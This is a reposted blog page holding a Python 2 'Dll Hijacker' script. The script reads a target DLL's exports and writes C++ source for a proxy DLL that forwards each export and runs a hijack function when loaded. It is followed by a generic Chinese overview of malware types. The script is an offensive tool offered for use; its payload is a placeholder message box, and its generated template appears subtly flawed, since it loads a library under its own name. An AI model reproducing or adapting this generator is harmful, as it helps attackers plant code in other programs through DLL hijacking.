Dll Hijacker

#coding=utf-8
#
# Dll Hijacker
#
# platform: Python 2.x @ Windows 
#
# author:Coca1ne

import os,sys,time
import pefile


def main():
    try:
        pe = pefile.PE(sys.argv[1])
        exportTable = pe.DIRECTORY_ENTRY_EXPORT.symbols
        print "[!]Find export function :[ %d ]\r\n" % len(exportTable)
        for exptab in exportTable: 
            print "%3s %10s" % (exptab.ordinal, exptab.name)
        print "\r\n[+] generating DLL Hijack cpp file ..."
        
        generate(exportTable)
        
        print "\r\n[+] generating DLL Hijack cpp file has finished!"
    except Exception, e:
        print e

def generate(exportTable):
    segments = r"//Generate by DLLHijacker.py\
\
#include <Windows.h>\
\
DEFINE_DLL_EXPORT_FUNC\
#define EXTERNC extern \"C\"\
#define NAKED __declspec(naked)\
#define EXPORT __declspec(dllexport)\
#define ALCPP EXPORT NAKED\
#define ALSTD EXTERNC EXPORT NAKED void __stdcall\
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall\
#define ALCDECL EXTERNC NAKED void __cdecl\
\
namespace DLLHijacker\
{\
    HMODULE m_hModule = NULL;\
    DWORD m_dwReturn[17] = {0};\
    inline BOOL WINAPI Load()\
    {\
        TCHAR tzPath[MAX_PATH];\
        lstrcpy(tzPath, TEXT(\"DLL_FILENAME.dll\"));\
        m_hModule = LoadLibrary(tzPath);\
        if (m_hModule == NULL)\
            return FALSE;\
        return (m_hModule != NULL);\
    }\
    inline VOID WINAPI Free()\
    {\
        if (m_hModule)\
            FreeLibrary(m_hModule);\
    }\
    FARPROC WINAPI GetAddress(PCSTR pszProcName)\
    {\
        FARPROC fpAddress;\
        CHAR szProcName[16];\
        fpAddress = GetProcAddress(m_hModule, pszProcName);\
        if (fpAddress == NULL)\
        {\
            if (HIWORD(pszProcName) == 0)\
            {\
                wsprintf(szProcName, \"%d\", pszProcName);\
                pszProcName = szProcName;\
            }\
            ExitProcess(-2);\
        }\
        return fpAddress;\
    }\
}\
using namespace DLLHijacker;\
VOID Hijack()\
{\
    MessageBoxW(NULL, L\"DLL Hijack! by DLLHijacker\", L\":)\", 0);\
}\
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\
{\
    if (dwReason == DLL_PROCESS_ATTACH)\
    {\
        DisableThreadLibraryCalls(hModule);\
        if(Load())\
            Hijack();\
    }\
    else if (dwReason == DLL_PROCESS_DETACH)\
    {\
        Free();\
    }\
    return TRUE;\
}\
"
    filename = sys.argv[1][sys.argv[1].rindex('\\')+1:sys.argv[1].rindex('.')]
    fp = open(filename + ".cpp", "w+")
    define_dll_exp_func = ""
    for exptable in exportTable:
        define_dll_exp_func += r"#pragma comment(linker, \"/EXPORT:" + str(exptable.name) +\
                            "=_DLLHijacker_" + str(exptable.name) + ",@"+ str(exptable.ordinal) +"\")\n"
    segments = segments.replace('DLL_FILENAME', filename)
    segments = segments.replace("DEFINE_DLL_EXPORT_FUNC", define_dll_exp_func).replace('\\','')
    fp.writelines(segments)
    
    forward_dll_exp_func = ""
    for exptable in exportTable:
        forward_dll_exp_func += "ALCDECL DLLHijacker_"+ str(exptable.name) +"(void)\n{" + \
                            "\n        __asm POP m_dwReturn[0 * TYPE long];\n    GetAddress(\""+ \
                            str(exptable.name) + "\")();\n    __asm JMP m_dwReturn[0 * TYPE long];\n}\r\n"
    fp.writelines(forward_dll_exp_func)
    fp.close()

def usage():
    print "Usage:"
    print "    %s c:\\windows\\system32\\msimg32.dll" % sys.argv[0]

if __name__ == "__main__":
    if(len(sys.argv) <2):
        usage()
    else:
        main()

 

转载于:https://www.cnblogs.com/killbit/p/6005831.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
恶意代码是指一类有意破坏计算机系统、篡改数据或者盗取隐私信息等恶意行为的软件程序。以下是一些常见的恶意代码及其特征: 1. 病毒:病毒是一种能够自我复制的恶意程序,它会植入到其他合法程序中,通过感染其他文件来传播。常见的病毒有 Melissa 病毒、ILOVEYOU 病毒等。 2. 蠕虫:蠕虫是一种与病毒类似的恶意程序,但它不需要植入到其他程序中,而是通过网络传播。蠕虫会利用网络漏洞或者弱口令等方式入侵其他计算机,然后通过网络传播自身。常见的蠕虫有 Nimda 蠕虫、Blaster 蠕虫等。 3. 木马:木马是一种通过隐藏在合法程序中的恶意代码,可以在用户不知情的情况下控制计算机。常见的木马有 Netbus、Back Orifice 等。 4. 间谍软件:间谍软件是一种可以监视用户计算机活动的恶意程序,它可以记录键盘输入、屏幕截图、网络通信等信息,然后将这些信息发送给攻击者。常见的间谍软件有 Perfect Keylogger、Spyware 等。 5. 广告软件:广告软件是一种常见的恶意程序,它会在用户计算机上弹出广告窗口,或者在浏览器中插入广告。广告软件通常是通过软件捆绑、恶意广告等方式传播的。常见的广告软件有 Adware、Browser Hijacker 等。 这些恶意代码通常都会对计算机系统造成不同程度的破坏和危害,用户应该经常更新杀毒软件、防火墙等安全软件,提高自己的安全防范意识,以保护自己的计算机和信息安全。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值